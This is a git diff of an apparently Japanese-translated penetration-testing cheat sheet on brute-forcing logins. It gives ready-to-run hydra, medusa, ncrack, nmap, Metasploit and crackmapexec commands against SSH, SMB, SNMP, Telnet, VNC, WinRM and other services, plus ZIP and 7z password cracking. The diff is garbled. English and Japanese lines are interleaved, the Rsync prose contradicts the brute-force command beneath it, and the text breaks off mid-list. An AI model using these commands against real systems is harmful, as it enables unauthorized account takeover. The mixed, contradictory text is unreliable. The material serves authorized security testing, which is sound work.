-Rexecは、ユーザーがリモートシステム上でコマンドを実行できるようにするリモート実行サービスです。ネットワーク管理やトラブルシューティングの場面でよく使われる。Rexecは、クライアントとサーバー間の接続を確立し、この接続を介して実行するコマンドを送信することで動作します。 +Rexec is a remote execution service that allows users to execute commands on a remote system. It is commonly used for administrative purposes, such as managing multiple servers or performing system maintenance tasks. -ブルートフォースRexecは、リモートシステムへ不正にアクセスするために、ユーザー名とパスワードの組み合わせを推測しようとするものである。これは、正しい組み合わせが見つかるまで、系統的に様々な組み合わせを試すことで可能です。 +One common method of brute-forcing Rexec is by attempting to guess the username and password combination. This can be done by using a list of commonly used usernames and passwords, or by generating a list of possible combinations based on known information about the target system. -Rexecをブルートフォースするには、HydraやMedusaのようなツールを使うことができる。これらのツールは、異なるユーザー名とパスワードの組み合わせを試すプロセスを自動化し、より速く、より効率的にします。 +Another approach is to use a tool like Hydra, which is specifically designed for brute-forcing various protocols, including Rexec. Hydra allows you to specify a list of usernames and passwords, and it will automatically try each combination until it finds a successful login. -Rexecをブルートフォースする場合、よく使われるユーザー名とパスワード、そしてターゲットシステムについて知っているかもしれない特定の情報を含むワードリストを使うことが重要です。これは成功の可能性を高めることができる。 - -ブルートフォースRexecは時間のかかるプロセスであり、必ずしも成功するとは限らない。さらに、適切な権限なしにシステムへの不正アクセスを試みることは、非倫理的かつ違法と見なされます。ハッキングを試みる前に、必ず必要な権限と法的権利を持っていることを確認してください。 +It is important to note that brute-forcing Rexec or any other service is generally considered unethical and illegal without proper authorization. It is recommended to only use these techniques in a controlled environment, such as during a penetration testing engagement, with the explicit permission of the target system owner. ```bash hydra -l -P rexec:// -v -V ``` ### Rlogin -Rloginはリモート・ログイン・プロトコルで、ユーザーがネットワーク経由でリモート・システムにログインできるようにする。Unixベースのシステムでよく使われる。RloginはTCPポート513を使用します。 +Rlogin is a remote login protocol that allows users to log into a remote system over a network. It is commonly used in Unix-based systems. -#### Brute Forcing Rlogin +Brute forcing Rlogin involves systematically trying different username and password combinations until the correct credentials are found. This can be done using automated tools or scripts that iterate through a list of common usernames and passwords. -Rloginに対して総当たり攻撃を行うには、HydraやMedusaのようなツールを使うことができる。これらのツールを使うと、ログインに成功するまで、さまざまなユーザー名とパスワードの組み合わせを試すプロセスを自動化できます。 - -以下は、Hydraを使ってRloginを総当たり攻撃するコマンドの例です: - -```plaintext -hydra -l -P rlogin:// -``` - -``はターゲットのユーザー名、``はパスワードのリストを含むファイルへのパス、``はターゲット・システムのIPアドレスに置き換えてください。 - -ブルートフォースは時間のかかるプロセスであり、侵入検知システムによって検知される可能性があることに注意することが重要です。ターゲット・システムに特化したパスワード・リストを使用したり、John the Ripperのようなパスワード・クラッキング・ツールを使用するなど、ターゲットを絞ったアプローチを使用することを推奨します。 - -#### Rloginへのブルートフォース攻撃の軽減 - -Rloginに対するブルートフォース攻撃から身を守るには、以下のような対策がある: - -- すべてのユーザーアカウントに強力で一意のパスワードを使用する。 -- ユーザーまたはIPアドレスをロックアウトする前に許可されるログイン試行回数を制限する。 -- 一定回数のログイン試行失敗後にユーザーアカウントを一時的にロックするアカウント・ロックアウト・ポリシーを導入する。 -- 不審なログイン操作のログを監視および分析する。 -- システムの機能に必要でない場合は、Rloginアクセスを無効にするか制限する。 - -これらのベストプラクティスに従うことで、Rloginでブルートフォース攻撃が成功するリスクを減らすことができる。 +It is important to note that brute forcing is an aggressive and potentially illegal hacking technique. It is recommended to only use this technique with proper authorization and for legitimate purposes, such as penetration testing. ```bash hydra -l -P rlogin:// -v -V ``` ### Rsh -Rsh (Remote Shell) は、リモートシステム上でコマンドを実行できるネットワークプロトコルです。リモート管理タスクによく使われる。しかし、Rsh には暗号化や認証の仕組みがないため、安全ではないと考えられていることに注意する必要があります。 +Rsh (Remote Shell) is a network protocol that allows users to execute commands on a remote system. It is commonly used for remote administration tasks. However, it is important to note that Rsh is considered insecure due to its lack of encryption and authentication mechanisms. -#### Brute Forcing Rsh +One common attack method against Rsh is brute force. Brute force involves systematically trying all possible combinations of usernames and passwords until the correct credentials are found. This can be done using automated tools or scripts that iterate through a list of commonly used usernames and passwords. -Rshのブルートフォースでは、正しい認証情報が見つかるまで、ユーザー名とパスワードのさまざまな組み合わせを系統的に試します。これは、プロセスを自動化するさまざまなツールやスクリプトを使用して行うことができます。 +To protect against brute force attacks on Rsh, it is recommended to disable or restrict access to the Rsh service. Additionally, strong and unique passwords should be used to minimize the risk of successful brute force attacks. -Rshをブルートフォースするには、HydraやMedusaのようなツールを使用することができます。これらのツールでは、ユーザー名とパスワードのリストを指定することができ、ログインが成功するまで自動的にそれぞれの組み合わせを試します。 - -Rshのブルートフォースは、システムに不正にアクセスするための違法かつ非倫理的な行為であるため、非常に推奨されていないことに注意することが重要です。ペネトレーションテスト活動を試みる前に、必ず適切な認可を得ていることを確認してください。 +It is worth mentioning that Rsh is an outdated protocol and has been largely replaced by more secure alternatives such as SSH (Secure Shell). SSH provides encryption and authentication, making it a much safer choice for remote administration tasks. ```bash hydra -L rsh:// -v -V ``` @@ -985,7 +637,13 @@ hydra -L rsh:// -v -V ### Rsync -Rsyncは、ファイルの同期や転送によく使われるユーティリティです。異なるシステム間でファイルのコピーや更新を効率的に行うことができます。Rsync は、侵入テスト中にターゲット システムとの間でファイルを転送する際に特に役立ちます。Rsync の効果的な使用方法を理解することで、テスト中のファイル転送プロセスを効率化できます。 +Rsyncは、ファイル転送と同期のための強力なツールです。このツールは、ローカルマシンとリモートマシン間でファイルを転送するために使用されます。Rsyncは、ファイルの差分を計算し、変更された部分のみを転送することができます。これにより、転送時間と帯域幅を節約することができます。 + +Rsyncは、SSHプロトコルを使用してファイルを転送するため、データのセキュリティも確保されます。また、転送中に途中でエラーが発生した場合でも、再開することができます。 + +Rsyncは、LinuxやUnixシステムで広く使用されており、非常に柔軟なオプションを提供しています。ファイルの転送や同期に関するさまざまなニーズに対応するため、多くのコマンドラインオプションが用意されています。 + +Rsyncは、ブルートフォース攻撃には使用されませんが、ファイル転送や同期のための重要なツールとして知られています。 ```bash nmap -sV --script rsync-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 873 ``` @@ -993,31 +651,23 @@ nmap -sV --script rsync-brute --script-args userdb=/var/usernames.txt,passdb=/va RTSP(Real Time Streaming Protocol)は、ストリーミングメディアを配信するためのプロトコルです。RTSPは、クライアントとサーバー間でメディアの制御情報をやり取りするために使用されます。RTSPは、リアルタイムのビデオやオーディオのストリームを効率的に転送するために設計されています。 -RTSPの攻撃手法の一つに、ブルートフォース攻撃があります。ブルートフォース攻撃は、辞書やパスワードのリストを使用して、正しい認証情報を推測することを試みます。攻撃者は、ユーザー名とパスワードの組み合わせを総当たりで試し、正しい組み合わせを見つけることを目指します。 +RTSPの攻撃には、ブルートフォース攻撃が使用されることがあります。ブルートフォース攻撃は、辞書やランダムなパスワードの組み合わせを試し、正しいパスワードを見つけることを試みます。攻撃者は、RTSPサーバーに対して大量のパスワードを試すことで、不正アクセスを試みることができます。 -RTSPサーバーのブルートフォース攻撃を防ぐためには、強力なパスワードポリシーを実装し、ユーザーが簡単に推測できない複雑なパスワードを使用することが重要です。また、アカウントロックアウト機能を有効にすることで、一定回数の認証試行が失敗した場合にアカウントをロックすることも有効です。 +ブルートフォース攻撃を防ぐためには、強力なパスワードポリシーを実装し、パスワードの複雑さを確保する必要があります。また、アカウントロックアウト機能を有効にすることも重要です。これにより、一定回数の誤ったパスワード試行後にアカウントがロックされるため、攻撃者のブルートフォース攻撃を防ぐことができます。 -ブルートフォース攻撃は、RTSPサーバーに対する一般的な攻撃手法の一つですが、適切なセキュリティ対策を講じることで、攻撃者の侵入を防ぐことができます。 +さらに、RTSPサーバーへのアクセスを制限するために、ファイアウォールやIP制限などのセキュリティ対策を実施することも推奨されます。これにより、不正なアクセスを試みる攻撃者のIPアドレスをブロックすることができます。 + +RTSPサーバーのセキュリティを確保するためには、定期的な脆弱性評価やペネトレーションテストを実施することも重要です。これにより、潜在的な脆弱性を特定し、適切な対策を講じることができます。 ```bash hydra -l root -P passwords.txt rtsp ``` ### SNMP -SNMP(Simple Network Management Protocol)は、ネットワークデバイスの管理と監視に使用されるプロトコルです。SNMPは、ネットワーク上のデバイスの情報を取得し、設定を変更するために使用されます。SNMPは、エージェントとマネージャの間で通信を行います。 +SNMP(Simple Network Management Protocol)は、ネットワークデバイスの管理と監視に使用されるプロトコルです。SNMPは、ネットワーク上のデバイスの情報を収集し、設定を変更するために使用されます。SNMPは、エージェントとマネージャの間で情報をやり取りするために使用されます。 -SNMPの攻撃は、デバイスの情報を取得したり、設定を変更したりするために使用されます。攻撃者は、デバイスの情報を収集し、ネットワークの脆弱性を特定することができます。また、攻撃者は、デバイスの設定を変更して、ネットワークのセキュリティを侵害することもできます。 +SNMPは、デバイスの情報を取得するために、ブルートフォース攻撃に使用されることがあります。ブルートフォース攻撃では、辞書やパスワードリストを使用して、デバイスのコミュニティストリング(SNMPの認証情報)を推測しようとします。推測に成功すれば、攻撃者はデバイスにアクセスし、情報を取得したり、設定を変更したりすることができます。 -SNMPの攻撃には、ブルートフォース攻撃が使用されることがあります。ブルートフォース攻撃では、攻撃者はすべての可能なコミュニティストリングを試し、正しいコミュニティストリングを見つけることを試みます。コミュニティストリングが見つかった場合、攻撃者はデバイスの情報を取得したり、設定を変更したりすることができます。 - -SNMPの攻撃を防ぐためには、以下の対策を実施することが重要です。 - -- デフォルトのコミュニティストリングを変更する -- SNMPバージョン2cまたは3を使用する -- SNMPトラップを適切に設定する -- SNMPアクセスを制限する -- SNMPパスワードを強力なものにする - -これらの対策を実施することで、SNMPの攻撃からネットワークを保護することができます。 +ブルートフォース攻撃は、効果的な攻撃手法の1つですが、デバイスが強力なパスワードポリシーを使用している場合や、攻撃者が十分な時間とリソースを持っていない場合には成功しづらいです。したがって、セキュリティを強化するためには、強力なパスワードポリシーの使用や、SNMPのセキュリティ設定の適切な構成が重要です。 ```bash msf> use auxiliary/scanner/snmp/snmp_login nmap -sU --script snmp-brute [--script-args snmp-brute.communitiesdb= ] @@ -1026,51 +676,29 @@ hydra -P /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt ta ``` ### SMB -SMB(Server Message Block)は、Windowsベースのシステムで使用されるネットワークプロトコルです。SMBは、ファイル共有、プリンタ共有、リモート管理などの機能を提供します。 +SMB(Server Message Block)は、ネットワーク上でファイル共有やリソース共有を行うためのプロトコルです。SMBは、Windowsオペレーティングシステムで広く使用されており、ファイルやプリンターなどのリソースをネットワーク上で共有するための機能を提供します。 -SMBのブルートフォース攻撃は、SMBサーバーに対して総当たり攻撃を行う手法です。攻撃者は、ユーザー名とパスワードの組み合わせを試行し、正しい認証情報を見つけることを目指します。 +SMBのブルートフォース攻撃は、辞書攻撃の一種であり、ユーザー名とパスワードの組み合わせを総当たりで試行し、正しい認証情報を見つけることを目指します。この攻撃は、弱いパスワードを使用しているユーザーアカウントを特定するために使用されます。 -ブルートフォース攻撃を実行するためには、ツールやスクリプトを使用することが一般的です。一部のツールは、辞書攻撃やハイブリッド攻撃などの高度な攻撃手法をサポートしています。 +ブルートフォース攻撃は、自動化ツールを使用して実行することができます。これにより、大量のユーザー名とパスワードの組み合わせを高速で試行することができます。攻撃者は、一般的なパスワードや辞書攻撃によって成功する可能性が高いパスワードを使用しているユーザーアカウントを特定することができます。 -SMBサーバーのブルートフォース攻撃は、弱いパスワードを使用しているユーザーアカウントを特定するための効果的な手法です。しかし、攻撃者はアカウントロックアウトやログインアラートなどのセキュリティメカニズムに注意する必要があります。 +SMBのブルートフォース攻撃を防ぐためには、強力なパスワードポリシーを実施し、パスワードの複雑さを強化する必要があります。また、アカウントロックアウトポリシーを設定することで、一定回数の認証失敗後にアカウントをロックすることも有効です。さらに、マルウェアや不正アクセスを検知するためのセキュリティソリューションの導入も重要です。 ```bash nmap --script smb-brute -p 445 hydra -l Administrator -P words.txt 192.168.1.12 smb -t 1 ``` -### SMTP - -SMTP(Simple Mail Transfer Protocol)は、電子メールの送信に使用されるプロトコルです。SMTPサーバーに接続し、メールを送信するためのコマンドを使用します。SMTPは、メールアドレスの検証やメールの送信制限などのセキュリティ機能を提供します。 - -#### ブルートフォース攻撃 - -ブルートフォース攻撃は、SMTPサーバーへの不正アクセスを試みる手法の一つです。攻撃者は、パスワードの推測や辞書攻撃などの方法を使用して、正しい認証情報を見つけ出そうとします。 - -以下は、SMTPサーバーへのブルートフォース攻撃を実行するための手順です。 - -1. ユーザー名のリストを作成します。 -2. パスワードのリストを作成します。 -3. ユーザー名とパスワードの組み合わせを試し、SMTPサーバーに接続します。 -4. 正しい認証情報が見つかるまで、ステップ3を繰り返します。 - -ブルートフォース攻撃は、強力なパスワードポリシーが実装されていない場合や、弱いパスワードが使用されている場合に特に効果的です。攻撃者は、自動化ツールを使用して大量の認証試行を行うことができます。 - -ブルートフォース攻撃を防ぐためには、以下の対策を実施することが重要です。 - -- 強力なパスワードポリシーを実装する。 -- ログイン試行回数の制限を設定する。 -- IPアドレスベースのブロックリストを使用する。 -- 二要素認証を導入する。 - -ブルートフォース攻撃は、セキュリティ上の脆弱性を突く手法の一つです。攻撃者が正しい認証情報を見つけると、機密情報へのアクセスや不正なメール送信などの悪用が可能となります。したがって、SMTPサーバーのセキュリティを強化するために、適切な対策を講じることが重要です。 +SMTP(Simple Mail Transfer Protocol)は、電子メールの送信に使用されるプロトコルです。SMTPサーバーに接続し、メールを送信するために必要な情報を提供します。SMTPは、メールアドレスの確認やメールの送信制限などのセキュリティ機能を提供します。SMTPサーバーへのアクセスを悪用することで、スパムメールの送信や不正なアクティビティを行うことができます。Brute force攻撃は、SMTPサーバーへのアクセスを試行する際に使用される一般的な手法の1つです。Brute force攻撃では、辞書攻撃やランダムなパスワードの試行など、さまざまな方法でパスワードを推測し、正しいパスワードを見つけることを試みます。Brute force攻撃は、パスワードが弱い場合やセキュリティ対策が不十分な場合に特に効果的です。 ```bash hydra -l -P /path/to/passwords.txt smtp -V hydra -l -P /path/to/passwords.txt -s 587 -S -v -V #Port 587 for SMTP with SSL ``` -SOCKS (Socket Secure)は、ネットワークプロトコルの一種であり、プロキシサーバーを介してTCP/IP接続を確立するために使用されます。 SOCKSプロトコルは、クライアントとサーバーの間でデータを転送するためのプロキシチャネルを提供します。 SOCKSプロキシは、ユーザーのIPアドレスを隠すために使用されることがあります。 SOCKSプロキシを使用すると、ユーザーは自分のIPアドレスを隠すことができ、インターネット上のリソースに匿名でアクセスすることができます。 +SOCKSは、ネットワークプロトコルであり、プロキシサーバーを介してTCP/IP接続を確立するために使用されます。 SOCKSプロトコルは、クライアントとサーバーの間でデータを中継するために使用されます。 SOCKSプロキシは、ユーザーのIPアドレスを隠すために使用されることがあります。 SOCKSプロキシを使用すると、ユーザーは自分のIPアドレスを隠すことができ、ウェブサイトやアプリケーションに匿名でアクセスすることができます。 -SOCKSプロキシを使用したブルートフォース攻撃では、攻撃者は複数のユーザー名とパスワードの組み合わせを試し、認証を回避するためにプロキシを使用します。攻撃者は、ブルートフォース攻撃を実行するために特別なツールやスクリプトを使用することができます。この攻撃は、弱いパスワードを使用しているユーザーアカウントを特定するために使用されます。 +SOCKSプロキシをハッキングに使用する場合、ブルートフォース攻撃は一般的な手法です。ブルートフォース攻撃では、ハッカーはすべての可能なパスワードの組み合わせを試し、正しいパスワードを見つけることを試みます。これにより、ハッカーはシステムに不正アクセスすることができます。 -ブルートフォース攻撃は、セキュリティテストや侵入テストの一環として使用されることもあります。セキュリティ専門家は、ブルートフォース攻撃を使用して、システムの脆弱性を特定し、適切な対策を講じることができます。ただし、ブルートフォース攻撃は合法的な目的でのみ使用されるべきであり、不正なアクセスやデータの盗難などの悪意のある行為には使用されるべきではありません。 +ブルートフォース攻撃を実行するためには、ハッカーは通常、辞書攻撃やランダムなパスワード生成などの手法を使用します。辞書攻撃では、ハッカーは一連の一般的なパスワードを試し、ランダムなパスワード生成では、ハッカーはランダムな文字列の組み合わせを試します。 + +ブルートフォース攻撃は非常に時間がかかる場合がありますが、十分な計算リソースと時間があれば、ハッカーは成功する可能性があります。したがって、セキュリティを強化するためには、強力なパスワードポリシーを実装し、ブルートフォース攻撃を防ぐための対策を講じることが重要です。 ```bash nmap -vvv -sCV --script socks-brute --script-args userdb=users.txt,passdb=/usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt,unpwndb.timelimit=30m -p 1080 ``` @@ -1078,16 +706,16 @@ nmap -vvv -sCV --script socks-brute --script-args userdb=users.txt,passdb=/usr/ SSH(Secure Shell)は、ネットワーク上で安全なリモートアクセスを提供するプロトコルです。SSHを使用すると、暗号化されたトンネルを介してリモートサーバーに接続し、コマンドを実行したりファイルを転送したりすることができます。 -SSHのブルートフォース攻撃は、辞書攻撃や総当たり攻撃などの手法を使用して、SSHサーバーの認証情報を推測することを試みます。これにより、攻撃者は正当なユーザーとしてサーバーにアクセスすることができます。 +SSHのブルートフォース攻撃は、辞書攻撃とも呼ばれ、SSHサーバーへの不正アクセスを試みる手法です。攻撃者は、一連のパスワードを試し、正しいパスワードを見つけることを目指します。 -SSHのブルートフォース攻撃を防ぐためには、以下の対策を講じることが重要です。 +SSHブルートフォース攻撃を防ぐためには、以下の対策を講じることが重要です。 -- 強力なパスワードポリシーを実施する:長さ、複雑さ、一意性の要件を設定し、パスワードの定期的な変更を促す。 -- 公開鍵認証を使用する:公開鍵と秘密鍵のペアを生成し、サーバーに公開鍵を登録することで、パスワード認証を回避する。 -- ログイン試行回数の制限:一定回数のログイン試行が失敗した場合に、一時的なブロックやCAPTCHAの表示を行う。 -- ログ監視とアラート:異常なログイン試行を監視し、異常なアクティビティを検知するためのアラートを設定する。 +- 強力なパスワードポリシーを実施する:長さ、複雑さ、一意性の要件を設定し、定期的なパスワード変更を促す。 +- ログイン試行回数の制限:一定の時間内に許可されるログイン試行回数を制限する。 +- パスワード認証の無効化:公開鍵認証を使用してSSH接続を設定し、パスワード認証を無効にする。 +- ネットワークレベルのセキュリティ:SSHサーバーへのアクセスを制限するために、ファイアウォールやネットワークセグメンテーションを使用する。 -これらの対策を実施することで、SSHのブルートフォース攻撃からサーバーを保護することができます。 +SSHブルートフォース攻撃は、セキュリティ上の脅威となる可能性があるため、適切な対策を講じることが重要です。 ```bash hydra -l root -P passwords.txt [-t 32] ssh ncrack -p 22 --user root -P passwords.txt [-T 5] @@ -1095,7 +723,7 @@ medusa -u root -P 500-worst-passwords.txt -h -M ssh patator ssh_login host= port=22 user=root 0=/path/passwords.txt password=FILE0 -x ignore:mesg='Authentication failed' ``` #### 弱いSSHキー/Debianの予測可能なPRNG -一部のシステムでは、暗号化素材を生成するために使用されるランダムシードに既知の欠陥があります。これにより、キースペースが劇的に減少し、[snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute)などのツールでブルートフォース攻撃が可能になります。また、[g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)のような弱いキーの事前生成セットも利用可能です。 +一部のシステムでは、暗号化素材を生成するために使用されるランダムシードに既知の欠陥があります。これにより、キースペースが劇的に減少し、[snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute)などのツールでブルートフォース攻撃が可能になります。また、[g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)などの弱いキーの事前生成セットも利用可能です。 ### SQL Server ```bash @@ -1108,13 +736,13 @@ msf> use auxiliary/scanner/mssql/mssql_login #Be careful, you can block accounts ``` ### Telnet -Telnetは、ネットワーク上でリモートコンピュータに接続するためのプロトコルです。通常、ユーザー名とパスワードを使用して認証を行い、リモートコンピュータにログインすることができます。 +Telnetは、ネットワーク上のリモートコンピュータに接続するためのプロトコルです。このプロトコルを使用すると、リモートコンピュータにログインし、コマンドを実行することができます。Telnetは、ユーザー名とパスワードを使用して認証するため、セキュリティ上のリスクがあります。そのため、Telnetを使用する際には注意が必要です。 -Telnetは、ネットワーク上のサービスやデバイスに対してコマンドを送信するために使用されることがあります。しかし、Telnetはセキュリティ上の脆弱性があるため、暗号化されたSSHプロトコルに置き換えられることが一般的です。 +Telnetの攻撃手法の一つは、ブルートフォース攻撃です。ブルートフォース攻撃では、すべての可能なパスワードの組み合わせを試し、正しいパスワードを見つけることを試みます。これにより、不正アクセスを試みる攻撃者が正しいパスワードを推測することができる可能性があります。 -ハッカーは、Telnetサービスに対してブルートフォース攻撃を行うことがあります。ブルートフォース攻撃では、ハッカーはさまざまなユーザー名とパスワードの組み合わせを試し、正しい認証情報を見つけ出すことを試みます。 +ブルートフォース攻撃を防ぐためには、強力なパスワードポリシーを実施し、パスワードの長さと複雑さを増やすことが重要です。また、アカウントロックアウト機能を有効にすることで、一定回数の誤ったパスワード入力後にアカウントをロックすることも有効です。 -ブルートフォース攻撃を防ぐためには、強力なパスワードポリシーを実装し、アカウントロックアウト機能を有効にすることが重要です。また、Telnetサービスを使用する代わりに、より安全なSSHプロトコルを使用することをお勧めします。 +Telnetの代替手段として、よりセキュアなSSH(Secure Shell)プロトコルを使用することをおすすめします。SSHは、暗号化された通信を提供し、セキュリティ上のリスクを軽減することができます。 ```bash hydra -l root -P passwords.txt [-t 32] telnet ncrack -p 23 --user root -P passwords.txt [-T 5] @@ -1122,19 +750,13 @@ medusa -u root -P 500-worst-passwords.txt -h -M telnet ``` ### VNC -VNC(Virtual Network Computing)は、リモートデスクトッププロトコル(RDP)の一種であり、リモートマシンへのアクセスを提供します。VNCは、クライアントとサーバーの間でデスクトップ画面を共有するために使用されます。 +VNC(Virtual Network Computing)は、リモートデスクトッププロトコル(RDP)の一種であり、リモートマシンへのアクセスを提供するために使用されます。VNCは、クライアントとサーバーの間でデスクトップ画面の情報を送受信することによって動作します。 -VNCのブルートフォース攻撃は、パスワードの推測を行い、正しいパスワードを見つけることを試みます。ブルートフォース攻撃は、一般的なパスワードや辞書攻撃を使用して実行されることがあります。 +VNCのブルートフォース攻撃は、パスワードの推測を行い、正しいパスワードを見つけることを目指します。この攻撃は、一般的なパスワードリストを使用して自動化されることが多く、多くの試行とエラーが行われます。 -以下は、VNCのブルートフォース攻撃の手順です。 +VNCのブルートフォース攻撃を実行するためには、ブルートフォースツールを使用する必要があります。一般的なツールには、Hydra、Medusa、Ncrackなどがあります。これらのツールは、複数の接続を同時に試行し、パスワードを推測するためのさまざまな方法を提供します。 -1. ブルートフォース攻撃ツールを使用して、VNCサーバーに接続します。 -2. ユーザー名とパスワードのリストを作成します。一般的なパスワードや辞書攻撃に使用することができます。 -3. ブルートフォース攻撃ツールを設定し、ユーザー名とパスワードのリストを使用して攻撃を開始します。 -4. ブルートフォース攻撃ツールは、ユーザー名とパスワードの組み合わせを試し、正しい組み合わせを見つけるまで続けます。 -5. 正しいユーザー名とパスワードの組み合わせが見つかると、攻撃者はVNCサーバーにアクセスできるようになります。 - -VNCのブルートフォース攻撃は、強力なパスワードポリシーが実装されていない場合に特に有効です。攻撃者は、短いパスワードや一般的なパスワードを使用しているユーザーを狙うことができます。 +VNCのブルートフォース攻撃は、セキュリティ上の脆弱性を悪用するため、合法的な目的でのみ使用することが重要です。また、攻撃を実行する前に、適切な許可を得る必要があります。 ```bash hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt -s vnc medusa -h –u root -P /root/Desktop/pass.txt –M vnc @@ -1150,25 +772,30 @@ set PASS_FILE /usr/share/metasploit-framework/data/wordlists/passwords.lst ``` ### Winrm -Winrm(Windows Remote Management)は、Windowsシステムでリモート管理を可能にするためのプロトコルです。Winrmは、HTTPまたはHTTPSを介して通信し、PowerShellスクリプトやコマンドをリモートで実行することができます。 +Winrmは、Windowsリモート管理(WinRM)プロトコルを使用して、リモートでWindowsマシンを管理するためのサービスです。WinRMは、Windows PowerShellや他のリモート管理ツールを使用して、リモートマシンにコマンドを実行したり、設定を変更したりするために使用されます。 -Winrmを使用してリモートシステムにアクセスするためには、以下の手順を実行する必要があります。 +Winrmは、デフォルトで有効になっている場合がありますが、一部のセキュリティ設定によって無効にされている場合もあります。Winrmを使用してリモートマシンにアクセスするためには、Winrmサービスが実行されていることを確認し、必要に応じて設定を変更する必要があります。 -1. Winrmサービスを有効にする:`winrm quickconfig`コマンドを実行して、Winrmサービスを有効にします。 +Winrmを使用してリモートマシンにアクセスするための一般的な手法の1つは、ブルートフォース攻撃です。ブルートフォース攻撃では、辞書やパスワードリストを使用して、可能なすべてのパスワードの組み合わせを試行し、正しいパスワードを見つけることを試みます。 -2. ファイアウォールの設定:Winrmポート(通常は5985または5986)をファイアウォールで開放する必要があります。 +ブルートフォース攻撃は、パスワードが弱い場合や、パスワードポリシーが緩い場合に特に効果的です。しかし、ブルートフォース攻撃は時間がかかる場合があり、大量のリクエストを送信するため、検出される可能性があります。 -3. 認証の設定:Winrmを使用するためには、適切な認証設定が必要です。デフォルトでは、WinrmはNTLM認証を使用しますが、Kerberos認証やSSL証明書を使用することもできます。 +ブルートフォース攻撃を実行するためには、ブルートフォースツールを使用する必要があります。一般的なブルートフォースツールには、Hydra、Medusa、Ncrackなどがあります。これらのツールは、多くのプロトコルやサービスに対応しており、パスワードの試行を自動化するための機能を提供しています。 -Winrmを使用してリモートシステムにアクセスすると、様々なタスクを実行することができます。例えば、ファイルの転送、プロセスの実行、イベントログの監視などが可能です。 +ブルートフォース攻撃を実行する際には、以下のポイントに注意する必要があります。 -Winrmは、システム管理者やセキュリティテスターにとって非常に便利なツールですが、悪意のある攻撃者にとっても潜在的な脆弱性となり得ます。したがって、Winrmを使用する際には、適切なセキュリティ対策を講じることが重要です。 +- パスワードリストを適切に選択し、一般的なパスワードや弱いパスワードを含めることが重要です。 +- ブルートフォース攻撃は時間がかかる場合があるため、十分な時間を確保する必要があります。 +- 大量のリクエストを送信するため、攻撃が検出される可能性があるため、適切な対策を講じる必要があります。 + +ブルートフォース攻撃は、セキュリティテストやペネトレーションテストの一環として使用されることがありますが、許可なく他人のシステムに対して実行することは違法です。適切な許可を得て、法的な範囲内でのみブルートフォース攻撃を実行してください。 ```bash crackmapexec winrm -d -u usernames.txt -p passwords.txt ``` -![](<../.gitbook/assets/image (9) (1) (2).png>) +
-[**Trickest**](https://trickest.io/)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフロー**を簡単に構築し、自動化することができます。 +\ +[**Trickest**](https://trickest.io/)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフロー**を簡単に構築し、自動化することができます。\ 今すぐアクセスを取得してください: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -1181,14 +808,14 @@ crackmapexec winrm -d -u usernames.txt -p passwords.txt * [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com) (ハッシュ、WPA2キャプチャ、およびMSOffice、ZIP、PDFのアーカイブ) * [https://crackstation.net/](https://crackstation.net) (ハッシュ) * [https://md5decrypt.net/](https://md5decrypt.net) (MD5) -* [https://gpuhash.me/](https://gpuhash.me) (ハッシュとファイルハッシュ) +* [https://gpuhash.me/](https://gpuhash.me) (ハッシュおよびファイルハッシュ) * [https://hashes.org/search.php](https://hashes.org/search.php) (ハッシュ) * [https://www.cmd5.org/](https://www.cmd5.org) (ハッシュ) * [https://hashkiller.co.uk/Cracker](https://hashkiller.co.uk/Cracker) (MD5、NTLM、SHA1、MySQL5、SHA256、SHA512) * [https://www.md5online.org/md5-decrypt.html](https://www.md5online.org/md5-decrypt.html) (MD5) * [http://reverse-hash-lookup.online-domain-tools.com/](http://reverse-hash-lookup.online-domain-tools.com) -ハッシュをブルートフォース攻撃する前に、これをチェックしてください。 +ハッシュをブルートフォースする前に、これをチェックしてください。 ### ZIP ```bash @@ -1208,7 +835,7 @@ hashcat.exe -m 13600 -a 0 .\hashzip.txt .\wordlists\rockyou.txt ``` #### 既知の平文zip攻撃 -暗号化されたzip内のファイルの**平文**(または平文の一部)を知る必要があります。暗号化されたzip内のファイルの**ファイル名とサイズを確認する**には、**`7z l encrypted.zip`**を実行します。\ +暗号化されたzip内のファイルの**平文**(または平文の一部)を知る必要があります。暗号化されたzip内のファイルの**ファイル名とサイズを確認**するには、**`7z l encrypted.zip`**を実行します。\ [**bkcrack** ](https://github.com/kimci86/bkcrack/releases/tag/v1.4.0)をリリースページからダウンロードしてください。 ```bash # You need to create a zip file containing only the file that is inside the encrypted zip @@ -1223,23 +850,13 @@ unzip unlocked.zip #User new_pwd as password ``` ### 7z -7zは、高い圧縮率を持つオープンソースのファイルアーカイバです。7zファイルは、他のファイルアーカイブ形式よりも小さくなる傾向があります。7zは、パスワードで保護されたファイルを作成することもできます。 - -#### 7zのブルートフォース攻撃 +7zは、高い圧縮率を持つオープンソースのファイルアーカイバです。7zファイルは、他のファイルアーカイブ形式よりも小さくなる傾向があります。この形式は、7-Zipソフトウェアによって作成および解凍することができます。 7zファイルのパスワードを解読するために、ブルートフォース攻撃を使用することができます。ブルートフォース攻撃は、すべての可能なパスワードの組み合わせを試すことで、正しいパスワードを見つける手法です。 -以下は、7zファイルのブルートフォース攻撃を実行するための手順です。 +ブルートフォース攻撃は非常に時間がかかる場合がありますが、パスワードが弱い場合や短い場合には効果的です。ただし、強力なパスワードを使用している場合や、パスワードがランダムな場合には、ブルートフォース攻撃は非現実的な方法となる可能性があります。 -1. ブルートフォース攻撃ツールを使用して、7zファイルのパスワードを解読します。一般的なツールには、John the RipperやHashcatなどがあります。 - -2. ブルートフォース攻撃ツールに、パスワードの辞書ファイルを指定します。辞書ファイルには、一般的なパスワードやキーワードのリストが含まれています。 - -3. ブルートフォース攻撃ツールに、7zファイルのパスワードを解読するためのルールを指定します。ルールには、パスワードの長さや使用できる文字の種類などが含まれます。 - -4. 